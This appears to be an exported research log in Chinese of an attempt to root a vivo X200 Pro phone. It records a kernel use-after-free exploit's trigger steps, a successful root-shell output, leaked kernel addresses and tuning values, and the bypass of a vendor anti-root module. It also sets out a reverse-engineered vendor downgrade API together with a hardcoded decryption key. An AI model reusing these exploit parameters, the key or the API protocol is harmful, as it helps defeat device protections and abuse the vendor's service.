root@x200pro:~/research
CHARMING × DEEPSEEK HARNESS
2026.11 · v1.1
01
2026-11-10 01:29
OTA payload 完全加密,boot.img 提取失败
熵分析 7.999 bits/byte · type=14 为 vivo 私有类型
▸

下载的 11.46GB 官方固件 SHA256 完全匹配,payload 分区表也解析成功, 但 boot 分区的实际数据不可解。

# 熵分析(加密判定)
数据熵: 7.999 bits/byte   ← 8.0 = 完全随机 = 加密
前64字节: e9c5b21155407a47b5e2f86bc93846d3...

# 所有标准解压测试
zlib     → Error -3 invalid
lzma     → Input format not supported
bz2      → Invalid data stream
brotli   → decoder failed
zstd     → Unknown frame descriptor
根因
AOSP 官方 InstallOperation 只定义 type 0-13,vivo 自己加了 type=14。 解密密钥在 /system/bin/update_engine, 但该文件连 stat 都被 SELinux 拒绝。
02
2026-11-10 01:25
payload.bin 结构解析成功
大端序 header · 38 个分区 · boot 96MB
▸
# 非标准!AOSP 是小端,vivo 用大端
magic:             CrAU
version (BE):      2
manifest_size(BE): 31,896
manifest 起始:      offset 20(实际 23)

# 解析出的 38 个分区(部分)
apusys · boot · ccu · init_boot · vbmeta · system · vendor
dtbo · preloader_raw · tee · modem · odm · product...

# boot 分区
大小:     100,663,296 字节 (96 MB)
操作数:   3 个(全部 type=14)
extents:  [{start:0,blocks:8192}, {start:8192,...}, {start:16384,...}]
这一步是成功的
分区表完整解析出来了,证明固件包结构可读——只是数据层被加密。
03
2026-11-10 01:23
官方固件 11.46GB 下载并校验通过
SHA256 完全匹配 · 防回滚级别 0
▸
版本:     PD2405_A_16.1.24.23.W10
系统:     OriginOS 6 / Android 16
大小:     11,464,439,758 字节
SHA256:   cdaf8f63435fdb0dd20a16a11f87a2682f137de09b6dd327f75dd19e6bdeb225
防回滚:   anti-rollback-level = 0
安全补丁: 2025-12-01
发布时间: 2026-09-30
SHA256 校验通过
下载文件与服务器端哈希完全一致,说明云端到本地传输无损。
04
2026-11-10 01:20
突破:逆向 vivo 官方升级 API
拿到降级凭据 · 成功调用官方接口
▸

逆向开源项目 Downgrader.apk 拿到完整协议,直接从设备读出授权凭据。

# 凭据来源(6 个系统属性拼接)
sys.vivo.dota_info0  ~  sys.vivo.dota_info5
→ 491 字符的 dota_sig

# API 协议
端点:    https://sysupgrade.vivo.com.cn/degrade/getDegradePkg
方法:    POST  body = jvq_param=<凭据>
请求加密: RSA-PKCS1  {"sv":"1.1.1","vsd":"<16hex>"}
响应解密: AES-128-CBC
密钥:    181120800577d693a5746b4cf212c068  IV = session
这是完整的技术突破
vivo 没有公开的固件下载渠道,这套 API 只对官方助手开放,现在被完整还原。
★
2026-11-09 15:46:42
成功获得 uid=0 root 权限
ROOT_SHELL_OK · 未重启 · vr.ko 成功绕过
▸
uid=0 vr.ko BYPASSED NO REBOOT SELINUX INTACT

CVE-2026-98260 在本机验证成功。这是整条研究链路唯一一次完整打通的时刻。

# 最终提权输出
child: [child3] uid=0 euid=0
child: [child] already euid=0: skipping setuid/setresgid (vr.ko bypass)
child: [child] resuid=0/0/0 setuid_ret=0 errno=0
[+] child report uid=0 euid=0 setuid(0)=0 errno=0 resuid=0/0/0

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
u:r:shell:s0 ROOT_SHELL_OK

plant 命中记录(5/5 全部成功)

plant1 free_seen=0 burst hit=1 after 12ms
plant1 free_seen=0 burst hit=1 after 11ms
plant1 free_seen=1 burst hit=1 after 47ms
plant1 free_seen=1 burst hit=1 after 48ms
plant1 free_seen=0 burst hit=1 after 12ms

关键参数

pairs      = 73          ← 这个值小的时候成功
slide      = 0x1da7400000
cred       = 0xffffff8006310780
site_low   = 0xe5754
task       = 0xffffff800a1012c0
vr.ko 反 root 被绕过
三个 tracepoint 全部清零成功:vr-flags、 vr-tagB、vr-sys-exit-funcs, 这是 vivo 的 sys_exit 探针防护,被彻底 disarm。
05
2026-11-09 15:44
KASLR / cred / task 地址全部泄漏
leak 模式验证通过
▸
[base] made=512 best=0xffffff7f80000000 count=481
[cred] attempt=0 child=11614 R=0xffffff8006310780
       site_low=0xe5754 recs=1
       task=0xffffff800a1012c0 task_recs=1
[+] child=11614 cred=0xffffff8006310780 target=0xffffff8006310788
[+] leak-only run complete

说明 UAF 触发、地址泄漏、KASLR 计算三个前置阶段全部正常。

06
2026-11-09 15:43
内核指纹匹配,tracefs 权限可用
ids 模式测试通过
▸
[+] kernel 6.6.127-android15-8-g3b723d0e8507-abogki558077879-4k
    -> target 6.6.127-android15-8-g3b723d0e8507
[+] oom_score_adj=-1000 (lmkd-immune)
[+] pid=27892 cpu=2 nice=-20
[ids] page_alloc=275 page_free=273 pairs=73
为什么说这是关键
exploit 用 strncmp 前缀匹配内核, abogki 后面的构建号不参与比对。 我们的内核虽然构建号不同(558077879 vs 558056638),但设备树完全相同, 所以能命中——这是整个方案能跑起来的前提。
07
2026-11-09 15:20
编译 exploit 工具链
Android NDK r29 · 3 个核心二进制
▸
# 编译产物
ic98260    327K   ← CVE-2026-98260 漏洞利用主体(3766 行 C)
ksupatch   416K   ← KernelSU 模块符号绑定
insmodf    407K   ← 模块加载器
ksud       4.8M   ← KernelSU 守护进程(从官方 APK 提取)
kernelsu.ko  —    ← 未编译(需要 Docker + 内核树)

NDK r29 静态编译,仅依赖 libc/libdl。ksud 从 KernelSU v3.3.1 官方 APK 提取, SHA256 4f7d5fd6... 与源码校验一致。

08
2026-11-09 15:16
发现 CVE-2026-98260 可利用
Linux exec / POSIX CPU timer UAF
▸
# 漏洞生命周期
引入: 5.7    (commit 55e8c8eb2c7b)
修复: 6.6.158+ / 6.12.112+ / 6.18.54+ / 7.2.8+
本机: 6.6.127  ← 未修复,漏洞存在

# 触发机制
1. 非 leader 线程挂 CLOCK_THREAD_CPUTIME_ID 定时器
2. execve() → de_thread() 交换 tid,timer 反查 task 失败
3. exec_mmap() 被 SIGKILL 打断返回 -EINTR
4. exit_itimers() 释放 k_itimer,但 rbtree 节点未摘除
5. 父进程 reap → timerqueue_del() 操作已释放对象 → UAF
这是唯一可行的路线
纯内存利用,不需要解锁 BL,不触碰任何分区。 即使成功,重启后也会恢复到锁定状态。
09
2026-11-10 00:33 — 01:16
后续 7 次尝试全部失败
所有外部调理手段均无效
▸

首次成功后再也无法复现,尝试了所有能想到的优化:

尝试手段理论结果
pairs=73 最佳窗口状态最好时跑失败 · 第3步
重启后立即执行内存最干净失败 · 第3步
等待负载下降减少竞争失败 · CPU 770% idle 也不行
500 个 timer 撑 partial满足 slab 丢弃条件失败 · 第2步
4805 个 timer 精确撑链31×5×31 完整链更差 · 第1步
shell 模式可能步骤更少失败 · 第2步
省电模式降低干扰无改善
# 失败模式(固定)
plant1 free_seen=0 burst hit=0 after 15000ms
[-] plant1 burst missed; holding zombie -- parking

# 关键差异
成功时: free_seen=1 → 看到 slab 页释放 → 抢到
失败时: free_seen=0 → 页根本没释放 → 15秒超时
推测根因
第一次运行后 posix_timers_cache 的 slab 状态被永久改变, 即使重启也无法复原。或者 vivo 的防护在首次成功后加强了。
10
2026-11-09 15:10
508 个系统服务全部被 SELinux 隔离
连 SurfaceFlinger 都调不动
▸
# 枚举 attempt
service list → 508 个服务

# 找到的可疑目标
vendor.vivo.hardware.omnipotentservice    (system:system) ← 权限匹配 seccfg
vendor.vivo.hardware.bbkts-service        (system)
vendor.factory.hardware.vivoatcmd         (vendor)

# 实测结果
service call SurfaceFlinger            → Operation not permitted
service call omnipotentservice         → Service does not exist
/sys/fs/selinux/enforce 写入           → Permission denied
/sys/fs/selinux/booleans               → dr-xr-xr-x (只读)
/proc/kallsyms                         → Permission denied
/sys/kernel/slab/posix_timers_cache/*  → 所有文件 Permission denied
为什么这条路走不通
omnipotentservice 以 system:system 运行,理论上能写 seccfg (权限位是 brw-rw---- root system), 但 shell 域(u:r:shell:s0)被 SELinux 彻底隔离,无法调用任何 Binder 服务。
11
2026-11-09 15:05
BROM 能进,但所有标准命令被删除
PID=0x201c 可通讯,返回 FAILunknown command
▸
# 成功检测到 BROM 设备
[+19.7s] VID=0x0e8d PID=0x2000  Preloader  mfg='MediaTek'
[+27.3s] VID=0x0e8d PID=0x201c  BROM       ser='10AEAD03DU000U4'

# 标准命令全部被拒绝
GET_HW_CODE       → FAILunknown command
GET_BROM_VERSION  → FAILunknown command
SEND_DA           → FAILunknown command
GET_TARGET_CONFIG → FAILunknown command

# EP0 标准请求正常(说明设备活着)
GET_STATUS(0x80,0)     → OK 0100
GET_DESCRIPTOR(0x80,6) → OK 12010002000000408d0e1c20...
vivo 的做法比开 SLA 认证更狠
不是加认证,而是直接删掉了命令处理分支。 EP0 和 bulk 端点都能通讯,但命令表里没有对应项。 网上 needrom 论坛同样有用户报告 GET TARGET CONFIG error 0xDC, 这是同一个问题。
12
2026-11-09 11:24
fastboot flashing unlock 命令不存在
OEM 解锁开关在系统中根本没有
▸
# 关键属性实测
ro.oem_unlock_supported              = [空]
settings global oem_unlock_allowed   = null
settings secure oem_unlock_allowed   = null

# 尝试执行
fastboot flashing unlock → FAILED (remote: 'unknown command')
这不是"没找到开关",是"开关被删了"
原生 Android 中 ro.oem_unlock_supported=1 时开发者选项会出现解锁开关。 vivo 直接删除了这个属性,连同 LK 里的 flashing unlock 命令处理代码。
13
2026-11-10 01:05
第三方提权工具包:全部缺本机内核
月虹 / 白鹿 / root 管理器
▸

月虹提权 + 文件 —— 按内核实名分目录的 preload.so

vivo/VIVO X200/      6.6.30 × 4 / 6.6.57 × 3 / 6.6.89 × 2
vivo/IQOO 13/        6.6.30 × 2 / 6.6.57 × 1 / 6.6.89 × 1
vivo/VIVO Pad5 Pro/  6.6.127-g24559e55e8d4

本机内核: 6.6.127-g3b723d0e8507  ← 不在任何列表

白鹿提权助手 1.0.3 —— 内嵌多个 CVE payload

libic98260.so          → 只支持 6.1.145-android14
libic98260_iqoo12.so   → 只支持 6.1.145-android14
libcve98260_ksu.so     → 无内核字符串(另一套机制)
libghostlock_pd2339.so → 其他机型

支持 IC_ALLOW_ANY_KERNEL=1 强制跳过内核检查
但内部偏移表不匹配,风险极高
结论
工具包很全,但恰好缺 6.6.127-g3b723d0e8507 这个组合。 这是社区适配的空档,不是工具质量问题。
Success Rate
9%
Attempts
13
Root Achieved
1×
BL State
GREEN
CVE Verified
2
Firmware DL
11.46GB
▤
攻击面封堵分布
7 条已探明路径的可用比例
▸
OEM 解锁
0%
BROM 命令
0%
分区读取
0%
SELinux 绕过
5%
OTA 解包
10%
内核漏洞
9%
API 逆向
100%
▤
完整尝试记录
13 次尝试的 pairs 值与失败位置
▸
#时间条件pairs结果
111-09 15:46初始状态73✅ uid=0
211-09 15:49未重启—❌ hit=0
311-09 15:55重启后388❌ 第3步
411-09 15:59重启后388❌ 第1步
511-09 16:01重启后388❌ 第2步
611-09 16:05立即跑388❌ 第3步
711-10 00:33pairs=7369❌ 第3步
811-10 00:37重启后立即388❌ 第3步
911-10 00:44负载低73❌ 第3步
1011-10 00:51shell 模式73❌ 第2步
1111-10 00:56最佳条件73❌ 第3步
1211-10 01:08500 timer73❌ 第2步
1311-10 01:134805 timer—❌ 第1步
▤
vivo 五层防护架构
从 OEM 开关到应用层反 root
▸
5
应用层反 root
vr.ko + bbklog_enable + logd_kernel
已绕过
4
SELinux 极限加固
shell 域隔离 · service call 全拒 · perf 全拒
未突破
3
AVB 2.0 + 5 条 vbmeta 链
main / system / vendor / oem / vgc
未突破
2
MTK BROM 命令裁剪
能进但标准命令全部返回 FAILunknown command
无命令
1
OEM 解锁开关
ro.oem_unlock_supported = 空(根本不存在)
不存在
▤
关键数据速查
设备指纹 / 漏洞参数 / API 密钥
▸
设备型号V2405A / PD2405 / PD2405M
SoCMT6991 (Dimensity 9400)
内核6.6.127-android15-8-g3b723d0e8507-abogki558077879-4k
系统PD2405B_A_17.2.12.4.W10 (OriginOS 17.2 / Android 17)
BL 状态green(从未解锁)
成功时 slide0x1da7400000
成功时 cred0xffffff8006310780
成功时 pairs73
失败时 pairs388
固件 SHA256cdaf8f63435fdb0dd20a16a11f87a2682f137de09b6dd327f75dd19e6bdeb225
vivo APIhttps://sysupgrade.vivo.com.cn/degrade/getDegradePkg
响应 Key181120800577d693a5746b4cf212c068
凭据来源sys.vivo.dota_info0 ~ info5
▤
文件清单
112 个文件 · 6.8 MB
▸
X200Pro_ROOT_备份/ ├── progress.html 39K ✓ 本报告 ├── README.md 8.0K ✓ 使用说明 ├── 技术分析.md 24K ✓ 漏洞完整分析 ├── 攻击面分析.md 13K ✓ vivo 五层防护 │ ├── firmware_analysis/ ✓ 固件逆向 │ ├── vivo_degrade_query.py 4.8K API 脚本 │ ├── payload_extract3.py 8.0K payload 解析 │ └── degrade_pkg.json 904B │ ├── payload/ ✓ Exploit 二进制 │ ├── ic98260 328K 利用主体 │ ├── ksupatch 420K │ ├── insmodf 408K │ └── ksud 4.8M │ ├── scripts/ ✓ 自动化 │ └── root_x200pro.sh 8.0K 一键 root │ ├── logs/ ✓ 运行记录 │ ├── device_state.txt 229B │ └── success_2026-11-09.txt 1.7K 成功记录 │ └── source/ ✓ 研究源码 (816K) ├── cve-2026-98260-vivo-gki-research/ 19 篇文档 ├── infinitylock-app/ └── pd2454-kernelsu-runner/
▤
下一步方向
4 条可能的路径
▸
方向难度说明
逆向 update_engine 极高 需要读取被 SELinux 保护的二进制,找到 type=14 解密密钥
提升 CVE-98260 成功率 高 修改 timer.c 的 SPRAY_POST 等参数,重编译测试
等社区适配 低 关注 g3b723d0e8507 内核的 payload 出现
换设备 低 二手 Pixel 800-1500 元,官方支持解锁
↑